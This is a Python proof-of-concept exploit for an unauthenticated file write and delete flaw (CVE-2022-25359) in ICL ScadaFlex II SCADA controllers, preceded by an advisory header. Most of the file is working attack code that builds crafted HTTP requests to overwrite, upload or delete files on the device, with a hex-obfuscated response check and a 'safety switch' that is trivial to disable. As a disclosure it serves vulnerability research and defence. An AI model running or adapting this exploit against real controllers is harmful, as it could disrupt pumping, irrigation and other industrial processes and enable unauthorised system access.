#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # # ICL ScadaFlex II SCADA Controllers SC-1/SC-2 1.03.07 Remote File CRUD # # # Vendor: Industrial Control Links, Inc. # Product web page: http://www.iclinks.com # Product datasheet: http://files.iclinks.com/datasheets/Scadaflex%20II/Scadaflex%20SC-1%20&%20SC-2_A1_compressed.pdf # Affected version: SW: 1.03.07 (build 317), WebLib: 1.24 # SW: 1.02.20 (build 286), WebLib: 1.24 # SW: 1.02.15 (build 286), WebLib: 1.22 # SW: 1.02.01 (build 229), WebLib: 1.16 # SW: 1.01.14 (build 172), WebLib: 1.14 # SW: 1.01.01 (build 2149), WebLib: 1.13 # # # Summary: Scadaflex II controllers are 100% web based # for both configuration and user interface. No applications # are required other than any standard web browser. They # are easily supported by remote access over the Internet # or a cellular link. Scadaflex II controllers support # industry standard wired communications using Modbus, # DF1, SNP, and Ethernet IP protocols along with Ethernet-Serial # bridging for Modbus or any other protocol. Each Scadaflex # II controller has both analog and digital, inputs and # outputs, sufficient for pumping stations, irrigation # controls, and other similar process monitoring and control # applications. They can also serve as communications # concentrators and protocol converters that enhance the # operation of existing PLCs and process equipment. # # Desc: The SCADA controller is vulnerable to unauthenticated # file write/overwrite and delete vulnerability. This allows # an attacker to execute critical file CRUD operations on the # device that can potentially allow system access and impact # availability. # # Tested on: SCADA HTTP Server # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2022-5698 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5698.php # # CVE ID: CVE-2022-25359 # CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25359 # # # 06.11.2021 # import time,sys import requests import datetime import showtime # Default # AES Encryption Key = 'ABCD1234abcd:ICL' def bann(): print(''' ---------------------------------------------------------- ) ) ) ) ) ) ( ( ( ( ( ( ) ) ) ) ) ) (~~~~~~~~~) (~~~~~~~~~) | t00t | | w00t | | | | | I _._ I _._ I /' `\\ I /' `\\ I | M | I | J | f | |~~~~~~~~~~~~~~| f | |~~~~~~~~~~~~~~| .' | ||~~~~~~~~| | .' | | |~~~~~~~~| | /'______|___||__###___|____|/'_______|____|_|__###___|___| ScadaFlex II SCADA Controllers Remote write/delete PoC ZSL-2022-5698 ---------------------------------------------------------- ''') def safe(*trigger, ): return True # |-| Safety Switch def choice(n): try: if n == 1: overwrite(controllerip = sys.argv[1], filepos = int(sys.argv[3], base = 10)) elif n == 2: delete(controllerip = sys.argv[1], filepos = int(sys.argv[2], base = 10)) else: print('Usage (Upload): ./sflex.py [IP] [Local file] [File position number]') print('Usage (Delete): ./sflex.py [IP] [File position number]') raise SystemExit('t00t') except Exception as tip: raise SystemExit(tip) def jump(): choice(1) if len(sys.argv) == 4 else next choice(2) if len(sys.argv) == 3 else next def overwrite(controllerip, filepos): print('Starting script at', start) localfile = sys.argv[2] with open(localfile, 'rb') as opener: scadaurl = 'http://' scadaurl += controllerip scadaurl += '/d.php?N' scadaurl += str(filepos) scadaurl += ',73,' scadaurl += opener.name scadaurl += '~' scadaurl += str(int(time.time())) see = requests.post(scadaurl, files = {'upload' : opener}) if '100' in see.text: print('File uploaded in {} directory at position {}.'.format('l', filepos)) print('URL: http://' +controllerip+ '/l/' +localfile) else: print("- controller webserver error.") exit() def delete(controllerip, filepos): print('Starting script at', start) exit(42) if isinstance(filepos, str) else next scadaurl = 'http://' scadaurl += controllerip scadaurl += '/rW12IcL_Dat_N' scadaurl += str(filepos) scadaurl += ',0=1~' scadaurl += str(int(time.time())) see = requests.get(scadaurl) check = '\x72\x57' #| check += '\x31\x32' #| check += '\x49\x63' #| check += '\x4c\x5f' #| check += '\x44\x61' #| check += '\x74\x5f' #| check += '\x4e'# o' #| check += str(filepos)#| check += '\x2c\x30' #| check += '\x09\x52' #| if check in see.text: print('File at position {} deleted.'.format(filepos)) else: print('- controller webserver error.') exit() def main(): if safe(True): print('Careful...\nSafety: ON') exit(17) else: print('Safety: OFF', end = '') global start start = datetime.datetime.now() start = start.strftime('%d.%m.%Y %H:%M:%S') bann(), jump(), choice(1959) if __name__ == "__main__": main()